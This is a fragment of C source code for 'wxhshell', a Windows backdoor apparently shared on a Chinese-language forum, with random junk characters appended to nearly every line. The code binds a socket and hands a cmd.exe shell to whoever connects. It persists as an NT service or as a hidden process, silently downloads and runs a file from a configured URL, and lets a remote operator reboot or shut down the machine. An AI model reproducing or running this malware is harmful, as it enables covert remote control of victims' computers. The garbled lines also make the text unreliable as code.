  // 帮助 L9 \1+rq  
  case '?': { FLCexlv^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,j}6? Q  
    break; 5C*Pd Wpl  
  } t#/YN.@r  
  // 安装  ZrxD`1L  
  case 'i': { P[#e/qnXu|  
    if(Install()) b#Z{{eLny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V>%rv'G8  
    else Ic:(Gi- %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dvx#q5f_S  
    break; }DE g-j,F  
    } B5VKs,g  
  // 卸载 e7r -R3_  
  case 'r': { p2[n$61   
    if(Uninstall()) _476pZ_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/'b$m5= S  
    else swoQ'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BB$>h}  
    break; d>&,9c%  
    } #m<nAR  
  // 显示 wxhshell 所在路径 kr5">"7  
  case 'p': { }b"yU#`Q\  
    char svExeFile[MAX_PATH]; He/8=$c%  
    strcpy(svExeFile,"\n\r"); qu6D 5t  
      strcat(svExeFile,ExeFile); 7qLpZ/  
        send(wsh,svExeFile,strlen(svExeFile),0); C12Fl  
    break; %2/EaaR  
    } ksqQM  
  // 重启 `$<.pOm  
  case 'b': { |'8Nh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nk 8B_{  
    if(Boot(REBOOT)) 7Lc]HSZo,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )?n aN  
    else { o>i4CCU+  
    closesocket(wsh); B6As,)RjD:  
    ExitThread(0); 4*#18<u5  
    } qI9z;_,gNz  
    break; K5VWt)Z#  
    } m6K}|j  
  // 关机 '$IKtM`L  
  case 'd': { _LUhZlw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K.nHii   
    if(Boot(SHUTDOWN)) (sTpmQx,b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y>T-af49  
    else { 8f 4b&ah  
    closesocket(wsh); 4Zddw0|2  
    ExitThread(0); LTCb@L{^i  
    } #s( BuVU  
    break; T_ <@..C  
    } d-ZJL6-  
  // 获取shell @|m/djN5x  
  case 's': { -1_)LO&H  
    CmdShell(wsh); $q{!5-e  
    closesocket(wsh); _QE qk@ql  
    ExitThread(0); x7w4[QYw  
    break; 0c]/bs{}  
  } 9C9oUtS  
  // 退出 ,vawzq[oSy  
  case 'x': { 0 [# 3;a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a=1@*ID  
    CloseIt(wsh); NC`aP0S  
    break; nFe<w  
    } q=m'^ ,gPS  
  // 离开 <CiSK!  
  case 'q': { Xp% v.M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wqs? 828x  
    closesocket(wsh); Hqx-~hQO  
    WSACleanup(); mzKiO_g}  
    exit(1); hJ? O],4J  
    break; [`[|l  
        } ^_W#+>&--  
  } aEWWP]  
  } a :`E0}C  
6=/F$|  
  // 提示信息 mb3"U"ohs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |4z IfAO  
} cn3\kT*  
  } su( 1<S}  
rJT a  
  return; F6|]4H.3Q  
} 1D7 `YKI9h  
[Ek7b *  
// shell模块句柄 M `M5'f  
int CmdShell(SOCKET sock) ZzpUUH/r  
{ LEf^cM=>  
STARTUPINFO si;  vF+7V*<  
ZeroMemory(&si,sizeof(si)); n\D&!y[]F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P=Jo+4O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uym*a4J  
PROCESS_INFORMATION ProcessInfo; "| g>'wM*  
char cmdline[]="cmd"; 9YyLf;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); At>DjKx]O  
  return 0; vWv"  
} T2W eE@o  
g2ixx+`?|:  
// 自身启动模式 Y('#jU  
int StartFromService(void) hH 3RP{'=  
{ {9pZ)tB  
typedef struct L}b.ulkMD  
{ !hy-L_wL]  
  DWORD ExitStatus; ! E5HN :#  
  DWORD PebBaseAddress; Vwf$JdK%&l  
  DWORD AffinityMask; 3M7/?TMw{6  
  DWORD BasePriority; H@>` F  
  ULONG UniqueProcessId; i$#;Kpb`^  
  ULONG InheritedFromUniqueProcessId; W,n!3:7 s  
}   PROCESS_BASIC_INFORMATION; lNh70G8^p  
AKfDXy  
PROCNTQSIP NtQueryInformationProcess; 8MtGlW%Eh  
Eyqa?$R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @n /nH?L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'sKk"bi;0  
$( kF#  
  HANDLE             hProcess; "|q& ea rc  
  PROCESS_BASIC_INFORMATION pbi; M"Hf :9Rk  
ZJJY8k `  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hWLA<wdb  
  if(NULL == hInst ) return 0; lgy <?LI\  
!i}w~U<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8/cX]J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5Ln,{vsv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G~[x 3L'  
1n8/r}q'H  
  if (!NtQueryInformationProcess) return 0; &wawr2)}  
Q"d^_z ]K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &PHTpkaam  
  if(!hProcess) return 0; ;xj?z\=Pg  
ltSU fI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,w4(kcg%iQ  
: *#-%0  
  CloseHandle(hProcess); o5PO =AN  
 9Q.Yl&A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vn8aFA  
if(hProcess==NULL) return 0; my1@41 H  
l|[N42+  
HMODULE hMod; *:7rdzn  
char procName[255]; v!-pSa)3  
unsigned long cbNeeded; q YQl,w  
!9e=_mY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~G&dqw/.-U  
`/+>a8  
  CloseHandle(hProcess); %aCqi(.7  
^z*t%<@[Q  
if(strstr(procName,"services")) return 1; // 以服务启动 Wvh#:Z  
_ 4~+{l+  
  return 0; // 注册表启动 Q3~H{)[Kq  
} >Cp0.A:UC#  
uH^-R_tQ  
// 主模块  8dA~\a  
int StartWxhshell(LPSTR lpCmdLine) vI >w e  
{  K5h  
  SOCKET wsl; *?vCC+c  
BOOL val=TRUE; H%td hu\e  
  int port=0; (%6P0*  
  struct sockaddr_in door; g$-PR37(  
9.-S(ZO  
  if(wscfg.ws_autoins) Install(); C{rcs'  
~ .g@hS8>  
port=atoi(lpCmdLine); zC!t;*8a  
M7~2iU<#  
if(port<=0) port=wscfg.ws_port; 9cF[seE"0  
]%H`_8<gc  
  WSADATA data; >tr}|>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tDcT%D {:  
q<|AZ2Ai  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tcI*a>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (?c"$|^J  
  door.sin_family = AF_INET; FVKTbvYn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7n<{tM  
  door.sin_port = htons(port); UI0VtR]   
+O{*M9 B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zu[su>\  
closesocket(wsl); 6nvz8f3*r]  
return 1; b8UO,fY q  
} wn%A4-%{  
p6V0`5@t  
  if(listen(wsl,2) == INVALID_SOCKET) { $6 f3F?y7  
closesocket(wsl); 1GcE) e!>  
return 1; TD0 B%  
} /([kh~a  
  Wxhshell(wsl); J*M>6Q.)  
  WSACleanup(); %tGO?JMkd  
Bwxd&;E  
return 0; \R_C&=  
gwMNYMI  
} _G@GpkSe>  
ZY+qA  
// 以NT服务方式启动 ;A*]l' [-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oMa6(3T?E  
{ XRi8Gpg  
DWORD   status = 0; m:2^= l4  
  DWORD   specificError = 0xfffffff; NXrlk  
CD~.z7,LC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >kVz49j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &h/X ku&0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >y 3=|  
  serviceStatus.dwWin32ExitCode     = 0; U5de@Y  
  serviceStatus.dwServiceSpecificExitCode = 0; h2R::/2.  
  serviceStatus.dwCheckPoint       = 0; #\m<Sz5Gp#  
  serviceStatus.dwWaitHint       = 0; onzxx4bax  
f+!(k)GWd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wIt}dc  
  if (hServiceStatusHandle==0) return; Fx.=#bVX7  
Dp9+HA9t  
status = GetLastError(); (!WD1w   
  if (status!=NO_ERROR) UaeXY+O  
{ :vbW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O\ r0bUPE  
    serviceStatus.dwCheckPoint       = 0; 6i/(5 nQ  
    serviceStatus.dwWaitHint       = 0; .ioEI sg  
    serviceStatus.dwWin32ExitCode     = status; xy;;zOh`  
    serviceStatus.dwServiceSpecificExitCode = specificError; R\[e!g*I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XSLFPTDEc  
    return; rey!{3U  
  }  b>ySv  
$!t4r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Km$\:Xo  
  serviceStatus.dwCheckPoint       = 0; _t^&Ah*  
  serviceStatus.dwWaitHint       = 0; Dlvz )  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NzvXN1_%  
} k<?b(&`J  
dy[X3jQB  
// 处理NT服务事件,比如:启动、停止 (sZ"iGn%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6'f;-2  
{ ckCE1e>s  
switch(fdwControl) mC#>33{  
{ 0g8NHkM:2a  
case SERVICE_CONTROL_STOP: y:uE3Apm  
  serviceStatus.dwWin32ExitCode = 0; gB33?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;$g?T~v7  
  serviceStatus.dwCheckPoint   = 0; V'gh 6`v  
  serviceStatus.dwWaitHint     = 0; f/?P514h  
  { r~['VhI!;E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sW\!hW1*x  
  } S_H+WfIHV'  
  return; RViAwTvY  
case SERVICE_CONTROL_PAUSE: 8}:nGK|kx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /)O"l@ }U  
  break; ~k5W@`"W  
case SERVICE_CONTROL_CONTINUE: $F.a><1rY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [$UI8tV  
  break; t]G:L}AOl  
case SERVICE_CONTROL_INTERROGATE: X:{!n({r=  
  break; @H8EWTZ  
}; s eJ^s@H5l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {' H(g[k  
} :ShT|n7  
jPkn[W# 6  
// 标准应用程序主函数 aN3;`~{9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?a]mDx>xh  
{ )4;`^]F  
+=)+'q]S  
// 获取操作系统版本 jebx40TA3  
OsIsNt=GetOsVer(); qH_Dc=~la  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1$ {SRU7l  
u*9V&>o  
  // 从命令行安装 rytyw77t(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1o>xEWt:0K  
veECfR;  
  // 下载执行文件 47/iF97  
if(wscfg.ws_downexe) { tZo} ;|~'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '|=;^Z7.K  
  WinExec(wscfg.ws_filenam,SW_HIDE); zm;C\s rF  
} GC'O[q+  
j'K/22  
if(!OsIsNt) { Ax}JLPz5'  
// 如果时win9x,隐藏进程并且设置为注册表启动 _@/8gPT*i  
HideProc(); ^LLzZnkcZ  
StartWxhshell(lpCmdLine); k9F=8q  
} wy2 D;;  
else Eh4= ZEX  
  if(StartFromService()) ?aMOZn?  
  // 以服务方式启动 <gBA1oRz  
  StartServiceCtrlDispatcher(DispatchTable); <OPArht  
else L}NSR  
  // 普通方式启动 }<:}XlwT%  
  StartWxhshell(lpCmdLine); /qw.p#  
,2ar7 5Va  
return 0; 1h5 Akq  
}
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只看该作者 1 发表于: 2006-10-10
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